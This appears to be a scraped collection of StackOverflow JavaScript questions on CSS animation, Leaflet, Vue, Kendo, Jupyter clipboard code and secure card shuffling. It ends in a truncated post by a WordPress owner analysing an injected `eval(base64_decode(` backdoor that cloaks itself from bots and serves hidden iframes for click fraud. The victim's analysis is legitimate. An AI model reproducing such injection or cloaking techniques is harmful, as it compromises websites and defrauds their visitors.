! == post.message ) { currentMessage = post.message ; this.echo ( post.author + ' - ' + post.message ) ; } } ) ; casper.then ( function ( ) { getPosts ( ) ; } ) ; } ) ( ) ; casper.run ( ) ;",Live chat scraping ( Youtube ) with casper . Issue with selecting polymer elements "JS : I saw this snippet here : What does the function ( ) : any { part in the first line mean ? Apologies if this has been asked before , but it 's really hard to search this , particularly when you do n't know what it 's called . render : function ( ) : any { var thread = this.state.thread ; var name = thread ? thread.name : `` '' ; var messageListItems = this.state.messages.map ( getMessageListItem ) ; return ( < div className= '' message-section '' > < h3 className= '' message-thread-heading '' > { name } < /h3 > // ...",What does `` function ( ) : any { `` mean "JS : I am learning PyQT programing , and when I try a simple test , I get Segmentation fault , here is my code pop.py : I started an Apache server at 127.0.0.1 for testing . And here is j.html : I start the pop.py , open a window , javascript popup alert dialog , I click the OK , then pop.py will quite and get `` Segmentation fault '' I tried PySide , get same result . If not JS alert in html , will be OK. Is this a bug of QT or I missed something ? I worked on Debian with python 2.6.6 , python-qt4 4.8.3 , libqtwebkit4 2.1.0I also tried Fedora 15 with PyQt4-4.8.3 , python 2.7.1 , same issueAny suggestion , clue for searching will be helpful . Thanks # ! /usr/bin/pythonimport sysfrom PyQt4.QtGui import QApplicationfrom PyQt4.QtCore import QUrlfrom PyQt4.QtWebKit import QWebViewapp = QApplication ( sys.argv ) v = QWebView ( ) v.load ( QUrl ( `` http : //127.0.0.1/j.html '' ) ) v.show ( ) app.exec_ ( ) < html > < script > alert ( `` I am here '' ) ; < /script > < body > Hello World < /body > < /html >",PyQT open a web page with JS alert pop up will get SegFault . How to fix that ? "JS : I 'm trying to convert the code below basically into a scaleable version , I 've tried using vw and vh , % values etc etc and I ca n't seem to get the right balance of values which work . Any help is appreciated.This codepen might also help : http : //codepen.io/anon/pen/dPNgvP .arrow { position : relative ; height : 0px ; width : 0px ; border-top : 18px solid # dd1111 ; border-left : 11px solid transparent ; border-right : 11px solid transparent ; position : absolute ; bottom : 40px ; left : 57px ; z-index : 1 ; animation : load-arrow 1.6s linear ; animation-fill-mode : forwards ; -webkit-animation : load-arrow 1.6s linear ; -webkit-animation-fill-mode : forwards ; } @ keyframes load-arrow { from { transform : translate ( 0 , 0 ) ; } to { transform : translate ( 0 , 55px ) ; } } @ -webkit-keyframes load-arrow { from { -webkit-transform : translate ( 0 , 0 ) ; } to { -webkit-transform : translate ( 0 , 55px ) ; } } .pie { width : 140px ; height : 140px ; position : relative ; border-radius : 140px ; background-color : # DD1111 ; float : left ; margin-right : 10px ; } .pie .title { position : absolute ; bottom : -40px ; text-align : center ; width : 100 % ; } .mask { position : absolute ; width : 100 % ; height : 100 % ; } .pie1 .inner-right { transform : rotate ( 160deg ) ; animation : load-right-pie-1 1s linear ; -webkit-animation : load-right-pie-1 1s linear ; -webkit-transform : rotate ( 160deg ) ; } @ keyframes load-right-pie-1 { from { transform : rotate ( 0deg ) ; } to { transform : rotate ( 160deg ) ; } } @ -webkit-keyframes load-right-pie-1 { from { -webkit-transform : rotate ( 0deg ) ; } to { -webkit-transform : rotate ( 160deg ) ; } } .outer-left { clip : rect ( 0px 70px 140px 0px ) ; } .outer-right { clip : rect ( 0px 140px 140px 70px ) ; } .inner-left { background-color : # 710000 ; position : absolute ; width : 100 % ; height : 100 % ; border-radius : 100 % ; clip : rect ( 0px 70px 140px 0px ) ; transform : rotate ( -180deg ) ; -webkit-transform : rotate ( -180deg ) ; } .inner-right { background-color : # 710000 ; position : absolute ; width : 100 % ; height : 100 % ; border-radius : 100 % ; clip : rect ( 0px 70px 140px 0px ) ; transform : rotate ( 180deg ) ; -webkit-transform : rotate ( 180deg ) ; } .content { width : 100px ; height : 100px ; border-radius : 50 % ; background-color : # fff ; position : absolute ; top : 20px ; left : 20px ; line-height : 100px ; font-family : arial , sans-serif ; font-size : 35px ; text-align : center ; z-index : 2 ; } .content span { opacity : 0 ; animation : load-content 3s ; animation-fill-mode : forwards ; animation-delay : 0.6s ; -webkit-animation : load-content 3s ; -webkit-animation-fill-mode : forwards ; -webkit-animation-delay : 0.6s ; } @ keyframes load-content { from { opacity : 0 ; } to { opacity : 1 ; } } @ -webkit-keyframes load-content { from { opacity : 0 ; } to { opacity : 1 ; } } < div class= '' pie pie1 '' > < div class= '' title '' > Twitter < /div > < div class= '' outer-right mask '' > < div class= '' inner-right '' > < /div > < /div > < div class= '' outer-left mask '' > < div class= '' inner-left '' > < /div > < /div > < div class= '' content '' > < span > 44 % < /span > < /div > < /div >",Scaleable css percentage ring JS : I found this new syntax from here . Can you explain this syntax ? Where can I find detail about it ? const GET_DOGS = gql ` { dogs { id breed } } ` ;,What is this new syntax gql ` string ` "JS : I 'm trying to imitate the animation shown below using CSS and/or JavaScript . I have created the beginning step but can not figure out how to animate the zooming in part.And my TARGET : body { background-color : # 222 ; } .container { background-image : url ( test.jpg ) ; height : 96vh ; width : 100 % ; } .box { background-color : # fff ; height : 98vh ; width : 100 % ; } .big { font-size : 17vw ; background : url ( http : //viralsweep.com/blog/wp-content/uploads/2015/02/unsplash.jpg ) 33px 659px ; -webkit-text-fill-color : transparent ; -webkit-background-clip : text ; padding-top : 24vh ; margin-top : 0 ; text-align : center ; animation : opac 2s infinite ; } @ keyframes opac { 0 % , 100 % { /*rest the move*/ } 50 % { /*move some distance in y position*/ } } < div class= '' container '' > < div class= '' box '' > < h1 class= '' big '' > TRY THIS < /h1 > < /div > < ! -- end of box -- > < /div > < ! -- end of conatiner -- >",How to animate a text cutout over a background-image "JS : I have a list , and through clicking on the list Elements , I want to open the pop up on the marker . Currently , the pop up only opens when the marker is clicked.This is how I create the marker and the pop upsand } Each data point from data is a marker on the < Map / > through the < PointsLayer / > component , and a listentry in < PointsList / > .I want to open the pop up in < PointsLayer / > when the corrresponding entry in < PointsList / > is clicked.How would I do that ? import React from 'react ' ; import { CircleMarker , Popup , } from 'react-leaflet ' ; class PointsLayer extends React.Component { render ( ) { const { data } = this.props ; return ( data.map ( point = > { return ( < CircleMarker key= { point.id } center= { point.coordinates } > < Popup > Fancy Pop Up < /Popup > < /CircleMarker > ) } ) ) } import React , { Component } from 'react ' ; import PropTypes from 'prop-types ' ; import { Map , } from 'react-leaflet ' ; import L from 'leaflet ' ; import PointsList from './PointsList ; import PointsLayer from './PointsLayer ; class Map extends React.Component { componentDidMount ( ) { this.map = this.mapInstance.leafletElement ; } render ( ) { const { data } = this.props ; return ( < > < Map ref= { e = > { this.mapInstance = e } } } > < TileLayer url= ... '' / > < PointsLayer data= { data } / > < /Map > < PointsList data= { data } / > < / > ) }",Open Pop Up on Click Outside of Map "JS : I 'd like to implement a clipboard copy in a jupyter notebok.The jupyter notebook is running remotely , thus I can not use pandas.to_clipboard or pyperclip and I have to use javascriptThis is what I came up with : Note that the code does what it 's supposed to if I run it in my browser 's console.However , if I run it in jupyter with : Nothing works , Any ideas ? def js_code_copy ( content ) return `` '' '' var body = document.getElementsByTagName ( 'body ' ) [ 0 ] ; var tmp_textbox = document.createElement ( 'input ' ) ; body.appendChild ( tmp_textbox ) ; tmp_textbox.setAttribute ( 'value ' , ' { content } ' ) ; tmp_textbox.select ( ) ; document.execCommand ( 'copy ' ) ; body.removeChild ( tmp_textbox ) ; '' '' '' .format ( content=content.replace ( `` ' '' , '\\'+ '' ' '' ) ) from IPython.display import display , Javascriptcontent = `` boom '' display ( Javascript ( js_code_copy ( `` Copy me to clipboard '' ) ) )",Copy to clipboard in jupyter notebook "JS : From Secrets of the Javascript Ninja ( great walkthrough btw ) : Do any real-world code style guides make all constructors do this kind of safeguarding ( the first two lines ) ? I believe linters will catch calls like User ( `` John '' , `` Resig '' ) and warn about the missing new , wo n't they ? // We need to make sure that the new operator is always usedfunction User ( first , last ) { if ( ! ( this instanceof User ) ) return new User ( first , last ) ; this.name = first + `` `` + last ; } var name = `` Resig '' ; var user = User ( `` John '' , name ) ; assert ( user , `` This was defined correctly , even if it was by mistake . '' ) ; assert ( name == `` Resig '' , `` The right name was maintained . '' ) ;",Is it a good practice to safeguard constructors for missing 'new ' ? "JS : How would I stop the propagation of clicking and scrolling on a div , overlaying a leaflet map ? That seems to be very tricky ... Something likedoes n't do anyhting . It needs to work in IE as well ... http : //jsfiddle.net/LnzN2/4888/ customPreventDefault ( e ) { e = e || window.event ; if ( e.preventDefault ) e.preventDefault ( ) ; e.returnValue = false ; } document.getElementById ( 'no-scrolling-clicking ' ) .onmousewheel = function ( e ) { document.getElementById ( 'prevent-scrolling ' ) .scrollTop -= e.wheelDeltaY ; customPreventDefault ( e ) ; } }",Overlay div over leaflet and stop mouse action propagation "JS : A poker deck has 52 cards and thus 52 ! or roughly 2^226 possible permutations.Now I want to shuffle such a deck of cards perfectly , with truly random results and a uniform distribution , so that you can reach every single one of those possible permutations and each is equally likely to appear.Why is this actually necessary ? For games , perhaps , you do n't really need perfect randomness , unless there 's money to be won . Apart from that , humans probably wo n't even perceive the `` differences '' in randomness.But if I 'm not mistaken , if you use shuffling functions and RNG components commonly built into popular programming languages , you will often get no more than 32 bits of entropy and 2^32 states . Thus , you will never be able to reach all 52 ! possible permutations of the deck when shuffling , but only about ... 0.000000000000000000000000000000000000000000000000000000005324900157 % ... of the possible permutations . That means a whole lot of all the possible games that could be played or simulated in theory will never actually be seen in practice.By the way , you can further improve the results if you do n't reset to the default order every time before shuffling but instead start with the order from the last shuffle or keep the `` mess '' after a game has been played and shuffle from there.Requirements : So in order to do what is described above , one needs all of the following three components , as far as I have understood : A good shuffling algorithm that ensures a uniform distribution.A proper RNG with at least 226 bits of internal state . Since we 're on deterministic machines , a PRNG will be all we 'll get , and perhaps this should be a CSPRNG.A random seed with at least 226 bits of entropy.Solutions : Now is this achievable ? What do we have ? Fisher-Yates shuffle will be fine , as far as I can see.The xorshift7 RNG has more than the required 226 bits of internal state and should suffice.Using window.crypto.getRandomValues we can generate the required 226 bits of entropy to be used as our seed . If that still is n't enough , we can add some more entropy from other sources.Question : Are the solutions ( and also the requirements ) mentioned above correct ? How can you implement shuffling using these solutions in JavaScript in practice then ? How do you combine the three components to a working solution ? I guess I have to replace the usage of Math.random in the example of the Fisher-Yates shuffle with a call to xorshift7 . But that RNG outputs a value in the [ 0 , 1 ) float range and I need the [ 1 , n ] integer range instead . When scaling that range , I do n't want to lose the uniform distribution . Moreover , I wanted about 226 bits of randomness . If my RNG outputs just a single Number , is n't that randomness effectively reduced to 2^53 ( or 2^64 ) bits because there are no more possibilities for the output ? In order to generate the seed for the RNG , I wanted to do something like this : Is this correct ? I do n't see how I could pass randomBytes to the RNG as a seed in any way , and I do n't know how I could modify it to accep this . var randomBytes = generateRandomBytes ( 226 ) ; function generateRandomBytes ( n ) { var data = new Uint8Array ( Math.ceil ( n / 8 ) ) ; window.crypto.getRandomValues ( data ) ; return data ; }",Shuffling a poker deck in JavaScript with window.crypto.getRandomValues "JS : I am using webapi and restrict web api 's to authenticate by token , so to populate datasource I use request headers in DataSource.the below line of code need to repeat at all datasourceIs it possible to make central function which overwrite the kendo datasoruce headers that provides the token to the request headers ? because i have more than 600 datasources , I just want to have token setup in one place . var abcDatasource = new kendo.data.DataSource ( { transport : { read : { url : '/api/exampledata ' , dataType : 'json ' , headers : { 'Authorization ' : 'Bearer ' + accesstoken } } , } , pageSize : 5 , } ) ; headers : { 'Authorization ' : 'Bearer ' + accesstoken }",Interceptor for Authorization headers using Kendo UI datasource "JS : I 'll be quick and jump straight to the case . The code is commented so you know my intentions . Basically , I 'm building a small , HTML5 based game , and opposed to saving stuff on the server or in a cookie , I 'll just provide the player a level code . When a player enters the code ( in a form of a simple hash ) into a text input field , and clicks a button to load that level , the function `` l '' is called . That function first retrieves the player 's entries , then iterates through the list of hashes and compares them . When a match is fond , that certain level is supposed to be loaded , but there were errors . I did a little bit of debugging , and I found out that the value of the iterator ( `` i '' ) , has changed inside a setTimeout ! I want to pause 1 second , because loading the level immediately would be simply too quick and would look bad . levelCodes = //Just a set of `` hashes '' that the player can enter to load a certain level . For now , only `` code '' matters . [ { `` code '' : `` # tc454 '' , `` l '' : 0 } , { `` code '' : `` # tc723 '' , `` l '' : 1 } , ] var l = function ( ) //This function is called when a button is pressed on the page { var toLoad = document.getElementById ( `` lc '' ) .value ; //This can be `` # tc723 '' , for example for ( i = 0 ; i < levelCodes.length ; i++ ) //levelCodes.length == 2 , so this should run 2 times , and in the last time i should be 1 if ( levelCodes [ i ] .code == toLoad ) //If I put `` # tc723 '' this will be true when i == 1 , and this happens { console.log ( i ) ; //This says 1 setTimeout ( function ( ) { console.log ( i ) } , 1000 ) ; //This one says 2 ! } }",setTimeout appears to be changing my variables ! Why ? "JS : My Dropup looks like this - > And I am using CSS on dropup-menu as - > But it does n't work for me . Any other solution ? UpdateAfter Adding this Css to dropdown-menu- > My dropdown-menu now looks like without scrollable- > < div class= '' dropup '' > < button class= '' btn btn-primary btn-raised dropdown-toggle '' type= '' button '' data-toggle= '' dropdown '' aria-haspopup= '' true '' aria-expanded= '' false '' > { { selectList.selectedListItem } } < div class= '' ripple-container '' > < /div > < /button > < div class= '' dropdown-menu '' > < a class= '' dropdown-item '' ng-repeat= '' list in roleList '' href= '' # '' ng-value= '' list.role '' name= '' { { list.role } } '' ng-click= '' update ( list.role , list._id ) '' id= '' { { list.role } } '' ng-model= '' selectList '' name= '' selectedList '' > { { list.role } } < /a > < /div > < /div > overflow : scroll ; max-height : 200px ; overflow : scroll ; max-height : 200px ! important ;",Scrollable Dropup Menu in Angular Js "JS : I am looking for a way to replace the quotes with “ corrected ” quotations marks in an user input.The ideaHere is a snippet briefly showing the principle : For quotes , the “ correct ” ones have an opening “ and a closing ” , so it needs to be replaced in the good way.But the above is not working in all cases.For example , when the `` quoted word '' is at the very beginning or the very end of a sentence or a line . ExamplesPossible inputs ( beware , french inside ! : ) ) : ⋅ I 'm `` happy '' ! Ça y est , j'ai `` osé '' , et mon `` âme sœur '' était au rendez-vous…⋅ The sign says : `` Some text `` some text '' some text . '' and `` Note the space here ! `` ⋅ `` Inc '' or '' rect '' quo '' tes should `` not be replaced.⋅ I said : `` If it works on 'singles ' too , I 'd love it even more ! `` Correct outputs : ⋅ I 'm “ happy ” ! Ça y est , j'ai “ osé ” , et mon “ âme sœur ” était au rendez-vous…⋅ The sign says : “ Some text “ some text ” some text. ” and “ Note the space here ! ” ⋅ “ Inc '' or '' rect ” quo '' tes should `` not be replaced.⋅ I said : “ If it works on ‘ singles ’ too , I 'd love it even more ! ” Incorrect outputs : ⋅ The sign says : “ Some text ” some text “ some text. ” and [ … ] Why it is incorrect : → There should be no space between the end of a quotation and its closing mark.→ There should be a space between a closing quotation mark and a word.→ There should be a space between a word and an opening quotation mark.→ There should be no space between an opening quotation mark and its quotation . The needHow could it be possible to effectively and easily replace the quotes in all those cases ? If possible , I 'd also like the solution to be able to `` correct '' the quotes even if we add them after the typing of the whole sentence.Note that I do n't ( ca n't ) use the word delimiter `` \b '' in a regex because the “ accented characters , such as `` é '' or `` ü '' are , unfortunately , treated as word breaks. ” ( source : https : //developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions ) Of course , if there is no other solution , I 'll come up with a list of what I consider a word delimiter and use it in a regex . But I 'd prefer to have a nice working function rather than a list ! Any idea would be appreciated . $ ( ' # myInput ' ) .on ( `` keyup '' , function ( e ) { // The below does n't work when there 's no space before or after . this.value = this.value.replace ( / `` /g , ' “ ' ) ; this.value = this.value.replace ( / '' /g , ' ” ' ) ; } ) ; < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < textarea id= '' myInput '' > < /textarea >",Replace double quotes by quotation marks "JS : I have a Select2 Box , with tagging enabled to add new own tags . Selecting an existing option works without any problem ( of any length ) . But some code prevents me from adding a new option longer than 2 characters long ( just ca n't add more characters ) . See the JSFiddlejQuery code to initialize the select2Help is highly appreciated . I have no idea where to look . < select class= '' form-control select2 '' multiple= '' multiple '' id= '' employee-groups-select '' name= '' employee [ employee_group_ids ] [ ] '' > < option value= '' 4 '' > Text1 < /option > < option value= '' 1 '' > Text2 < /option > < option value= '' 3 '' > Text3 < /option > < option value= '' 2 '' > Text4 < /option > < /select > $ ( ' # employee-groups-select ' ) .select2 ( { theme : 'bootstrap4 ' , tags : true , width : '100 % ' , tokenSeparators : [ ' , ' , ' ' ] , } ) ;",Select2 : Ca n't create new options longer than 2 characters ( tag : true ) "JS : This is the single page application with vue.js and it does some simple calculation and i am trying to implement this calculation in django but it is not giving me the result I want.Here I made the array in the vue.js dynamic and this is displaying me only the image of the product perfectly but not product.name and product.sell_price and also @ click.prevent= '' addToCart ( product ) '' this function is not working ? ? How can i solve it ? vue.jshtml < script src= '' { % static 'js/vue.js ' % } '' > < /script > < script type= '' text/javascript '' src= '' { % static '/js/vue-resource.js ' % } '' > < /script > < script > new Vue ( { el : ' # posApp ' , data : { total : 0 , discount : 0 , products : [ { % for product in products % } { `` id '' : { { product.id } } , `` name '' : `` { { product.name } } '' , `` image '' : `` /media/ { { product.image } } '' , `` price '' : { { product.sell_price } } } , { % endfor % } ] , cart : [ ] , search : `` '' } , methods : { addToCart : function ( product ) { var found = false ; for ( var i = 0 ; i < this.cart.length ; i++ ) { if ( this.cart [ i ] .id === product.id ) { this.cart [ i ] .quantity++ ; found = true ; } } if ( ! found ) { this.cart.push ( { id : product.id , name : product.name , sell_price : product.sell_price , quantity : 1 } ) ; } this.total += product.sell_price ; } , inc : function ( item ) { item.quantity++ ; this.total += item.sell_price ; } , dec : function ( item ) { item.quantity -- ; this.total -= item.sell_price ; if ( item.quantity < = 0 ) { var i = this.cart.indexOf ( item ) ; this.cart.splice ( i , 1 ) ; } } , removeFromCart : function ( item ) { this.cart.splice ( this.cart.indexOf ( item ) , 1 ) ; this.total = this.total - ( item.sell_price * item.quantity ) ; } , clearCart : function ( ) { this.cart = [ ] ; this.total = 0 ; this.discount = 0 ; } , payment : function ( ) { this.cart = [ ] ; this.total = 0 ; this.discount = 0 ; alert ( 'Transaction Completed ' ) ; } } , computed : { filteredProducts ( ) { // var lowerTitle = product.title.toLowerCase ( ) ; return this.products.filter ( ( product ) = > { return product.name.toLowerCase ( ) .match ( this.search ) ; } ) ; } } } ) ; < /script > < div class= '' col-md-3 '' v-for= '' product in filteredProducts '' : key= '' product.id '' > < ! -- Inner-Col .// -- > < a href= '' # '' @ click.prevent= '' addToCart ( product ) '' > < div class= '' box box-default pos-product-card '' > < ! -- /.box -- > < img class= '' card-img-top img-responsive '' : src= '' product.image '' alt= '' Card image cap '' > < div class= '' box-body '' > < ! -- /.box-body -- > < h4 class= '' box-title '' > { { product.name } } < /h4 > < ! -- < p class= '' box-text '' > Some quick example text to build on the card title and make up the bulk of the card 's content. < /p > -- > < button class= '' btn btn-info '' > < i class= '' fas fa-shopping-cart '' > < /i > < /button > < /div > < ! -- /.box-body -- > < /div > < ! -- /.box -- > < /a > < /div > { % for category in categories % } < div class= '' tab-pane fade '' id= '' category- { { category.id } } '' > < div class= '' row '' > < ! -- Inner-Row .// -- > { % for product in category.product_set.all % } < div class= '' col-md-3 '' v-for= '' product in filteredProducts '' : key= '' product.id '' > < ! -- Inner-Col .// -- > < a href= '' # '' @ click.prevent= '' addToCart ( product ) '' > < div class= '' box box-default pos-product-card '' > < ! -- /.box -- > < img class= '' card-img-top img-responsive '' : src= '' product.image '' alt= '' Card image cap '' > < div class= '' box-body '' > < ! -- /.box-body -- > < h4 class= '' box-title '' > { { product.name } } < /h4 > < ! -- < p class= '' box-text '' > Some quick example text to build on the card title and make up the bulk of the card 's content. < /p > -- > < button class= '' btn btn-info '' > < i class= '' fas fa-shopping-cart '' > < /i > < /button > < /div > < ! -- /.box-body -- > < /div > < ! -- /.box -- > < /a > < /div > { % endfor % } < table class= '' table table-hover text-center '' > < ! -- < thead class= '' thead-dark '' > -- > < tr > < th > Item < /th > < th > Quantity < /th > < th > Rate < /th > < th > Subtotal < /th > < th > & nbsp ; < /th > < /tr > < ! -- < /thead > -- > < tr v-for= '' item in cart '' : key= '' { { item.id } } '' > < td > < a href= '' # '' > { { item.name } } < /a > < /td > < td > < button class= '' btn btn-flat btn-xs btn-info p-1 mx-1 '' @ click= '' inc ( item.id ) '' > + < /button > [ [ item.quantity ] ] < button class= '' btn btn-flat p-1 mx-1 btn-xs btn-info '' @ click= '' dec ( item.id ) '' > - < /button > < /td > < td > < span class= '' text-muted '' > { { item.sell_price } } < /span > < /td > < td > Rs { { item.sell_price * item.quantity } } < /td > < td > < button class= '' btn btn-xs btn-outline-primary '' @ click= '' removeFromCart ( item ) '' > < i class= '' fas fa-trash-alt '' > < /i > < /button > < /td > < /tr > < /table > < /div > < div class= '' no-item-msg '' v-if= '' cart.length === 0 '' > No items in the cart. < /div > < /div > < table class= '' table '' > < tr > < td > Total Items < /td > < td > { { cart.length } } < /td > < /tr > < tr > < td > Total Amount < /td > < td > { { total } } < /td > < /tr > < tr > < td > < span class= '' height-control '' > Discount ( In Amount ) < /span > < /td > < td > < input type= '' number '' v-model= '' discount '' class= '' form-control '' > < /td > < /tr > < tr class= '' bg-dark '' > < td > TO PAY < /td > < td > { { total-discount } } < /td > < /tr >",how to integrate vue.js with django ? "JS : How can i create a function which looks like the jquery callback $ Say i want to call a element with id= `` mydiv '' .i want to be able to call it like i think the function should look like Is that the right way to do it , or do you prefer another way to solve it ? var div = $ ( `` mydiv '' ) .value ; function $ ( element ) { return document.getElementById ( element ) ; }",How to create own jQuery-like function in JavaScript ? "JS : I am using Array.prototype.find to search an Object Person in an Array . I would like use the id to find this Object . I 've been reading about the method find ( ES6 ) but I do n't know why my code is wrong.This is my code : AddresBook.prototype.getPerson = function ( id ) { return this.lisPerson.find ( buscarPersona , id ) ; } ; function buscarPersona ( element , index , array ) { if ( element.id === this.id ) { return element ; } else return false ; }",Array.prototype.find to search an Object in an Array "JS : Consider a HTML page with a bunch of tags each with their own content . I want to transform each tag to a slide in a slideshow powered by JavaScript . Each tag can contain images and they should be lazy loaded in this slideshow . I do n't want all images to load at once.On the other hand , users with no JavaScript enabled and search engines should just the see markup and all the images . How do I avoid images from loading when JavaScript is enabled , and how do I make sure images are loaded when no JavaScript is enabled ? One way would be to replace all images with this format : The problem with that solution is there 's no graceful degradation.Instead , I have to do : The problem with that is that you ca n't prevent the browser from loading all of the images in the HTML page . I 've tried to modify the HTML in several ways when the document is ready . For example , replace all src attributes in images with data-src , empty the entire body and so on.Do I really have to sacrifice graceful degradation ? Thanks in advance . < img src= '' '' data-src= '' myimage.png '' > < img src= '' myimage.png '' >",Lazy loading of images with graceful degradation ( JavaScript ) "JS : First I 'll describe my problem , I 'm creating an automated playlist from random songs , some of the songs have 10-15 seconds of silence at the end of the song , what I 'm trying to achieve is to detect from the analyser when a song has been in silence for 5 seconds and act on that.So far I 've got this : I know the answer is somewhere in the analyser but I have n't found any coherence in the data returned from It.I can do something like this : and the frequencies var would contain 2048 keys each with a random ( to me ) number ( -48.11 , -55 , -67 , etc ... ) , do these numbers mean anything related to the perceived sound that is played ? , how can i detect if it 's low enough that people would think nothing is playing.For the detection I mainly want something like this : The only missing part is detecting if the song is currently silent or not , any help would be appreciated.Edit : based on william 's answer i managed to solve it by doing it this way : var context , analyser , source , audio ; context = new ( window.AudioContext || window.webkitAudioContext ) ( ) ; analyser = context.createAnalyser ( ) ; audio = new Audio ( ) ; source = context.createMediaElementSource ( audio ) source.connect ( analyser ) ; analyser.connect ( context.destination ) ; var playNext = function ( ) { var pickedSong ; // chooses a song from an api with several // thousands of songs and store it in pickedSong audio.src = pickedSong ; audio.play ( ) ; } audio.addEventListener ( 'ended ' , playNext ) ; playNext ( ) ; var frequencies = new Float32Array ( analyser.frequencyBinCount ) ; analyser.getFloatFrequencyData ( frequencies ) ; var isInSilence = function ( ) { return ! audible ; } var tries = 0 ; var checker = function ( ) { tries = isInSilence ( ) ? tries + 1 : 0 ; if ( tries > = 5 ) playNext ( ) ; setTimeout ( checker , 1000 ) ; } checker ( ) ; var context , compressor , gain , source , audio ; context = new ( window.AudioContext || window.webkitAudioContext ) ( ) ; compressor = context.createDynamicsCompressor ( ) ; gain = context.createGain ( ) ; audio = new Audio ( ) ; source = context.createMediaElementSource ( audio ) // Connecting source directlysource.connect ( context.destination ) ; // Connecting source the the compresor - > muted gainsource.connect ( compressor ) ; compressor.connect ( gain ) ; gain.connect ( context.destination ) ; gain.gain.value = 0 ; // muting the gaincompressor.threshold.value = -100 ; var playNext = function ( ) { var pickedSong ; // chooses a song from an api with several // thousands of songs and store it in pickedSong audio.src = pickedSong ; audio.play ( ) ; } audio.addEventListener ( 'ended ' , playNext ) ; playNext ( ) ; var isInSilence = function ( ) { return compressor.reduction.value > = -50 ; } var tries = 0 ; var checker = function ( ) { tries = isInSilence ( ) ? tries + 1 : 0 ; if ( tries > = 5 ) playNext ( ) ; setTimeout ( checker , 1000 ) ; } checker ( ) ;",How can i use an analyser created from an audioContext to detect if a playing sound is audible ? "JS : I 'm zooming out the contents of my awesome graph editor using transform : scale ( x ) . When zooming-out the scale goes down towards 0 ( exclusive ) , when zooming-in the scale goes up , up to a maximum of 1 ( inclusive ) which means full zoom or initial scale.However , when zoomed-out considerably , image quality starts becoming really noisy -- please consider the following example , and notice how zooming out will make image appearance noisy : Demo also on JSFiddleThis image is a canvas-drawn shape that interactively visualizes a connection between two graph nodes , exported into png.Please zoom out and see how noisy that line is , even though zooming is done in steps of 0.25 and with CSS . How can I get rid of this pixel-noise ? The issue happens in both the latest Google Chrome and Microsoft Edge , untested in other browsers . The issue happens with and without 3D GPU acceleration . Note : obviously , this is a Minimal , Complete , and Verifiable example and the real work is magnitudes more complex . Hundrends of line shapes are drawn procedurally onto a canvas ( < 1ms per line ) and then cached to img elements asynchronously using toDataUrl ( ~40ms per line ) when idle , so that screen panning -- which is also a required feature -- works more smoothly , as moving an img element on the screen is much cheaper than moving a canvas element ( or redrawing all lines on a single canvas ) , whether it 's the element itself , the container , or the browser viewport that is translated into a given direction . As such , generating mipmaps is not really an option , or only as a last resort , as it will come with a significant performance penalty ( each mip-level would have to be cached onto a separate image , cutting performance in half at the very least ) . I 'd like to believe it can be avoided , though . Redrawing line shapes on each zoom step will mercillesly obliterate performance down to a slideshow.The following is the list of things I tried , no effect : Hinting at better image quality by defining the following CSS property values , on the shapes elements itself , or the container : Forcing elevating the rendering layer into GPU acceleration with a dummy transformUsing scale3d instead of scaleHalving img.width and img.height and then compensating by doubling img.style.width and img.style.heightNot caching canvas results into img and instead displaying the canvas element directly ( slower performance , same bad quality ) I also tried using filter : blur when zoomed out , but it did not yield a better quality , as the blur effect itself is applied after the given shape has been rendered on screen.What else can I do to get rid of this pixel-noise , besides creating downsampled versions of each shape , effectively creating a software-rendered mipmap ( LOD ) system ? ( which , as I wrote , would like to strongly avoid ) How is this question different from the array of similar questions investigating bad image quality from downscaling ? Here , it 's the container that is downscaled ( and with CSS transformations ) , instead of individual image elements . No manipulation is done to actual image data , which is what is discussed in similar topics . var graphContainer = document.getElementById ( `` graph-container '' ) ; var zoomInButton = document.getElementById ( `` zoom-in-button '' ) ; var zoomOutButton = document.getElementById ( `` zoom-out-button '' ) ; var zoomLevel = 1 ; zoomInButton.addEventListener ( `` click '' , function ( ) { zoomLevel = Math.max ( 1 , zoomLevel - 0.25 ) ; graphContainer.style.transform = `` scale ( `` + ( 1 / zoomLevel ) + `` ) '' ; } ) ; zoomOutButton.addEventListener ( `` click '' , function ( ) { zoomLevel = zoomLevel + 0.25 ; graphContainer.style.transform = `` scale ( `` + ( 1 / zoomLevel ) + `` ) '' ; } ) ; # editor-container { background-color : # 001723 ; } # graph-container { transform-origin : top center ; } < div id= '' editor-container '' > < button id= '' zoom-in-button '' > Zoom in < /button > < button id= '' zoom-out-button '' > Zoom out < /button > < div id= '' graph-container '' > < img class= '' shape '' src= '' http : //i.imgur.com/zsWkcGz.png '' / > < /div > < /div > image-rendering : pixelated | optimizeSpeed | optimizeQuality",Improving image quality of CSS-downscaled elements "JS : I maintain three wordpress blogs , and yesterday-morning , they were all hacked . Inside all my index.php the first line looked as follows : Aside from fixing it ( which seems to have worked ) , I am wondering what it does , and to what purpose.So I decoded the inserted code : Roughly , if I understand correctly , it will show an extra iframe with some source it will need to load , but only if the user-agent and ip are not in the list of blocked ips , or blocked bots . My guess : to make sure my site will not be blacklisted , but any visitor will still get spammed.But I was still curious : what does it actually do ? So I followed the link to http : //wumpearpmy.cz.cc/go/1 using RestClient and get the following returned HTML : Ok . I can read groupon.com , but I am guessing that is just fake ( too obvious ? ) and it will check for the existence of a cookie ? Which cookie ? I could not immediately deduce that . And it will post within two seconds to clicks.maximumspeedfind.com . I did not try to do that.A lot of code to make sure the window remains small , nearly invisible . But there seems to be a lot of obfuscated code as well . Can anyobdy enlighten me what they are trying to do here ? And how ? Is this somebodies click-through rates they are trying to fake ? ( maybe naive ) . < ? php eval ( base64_decode ( 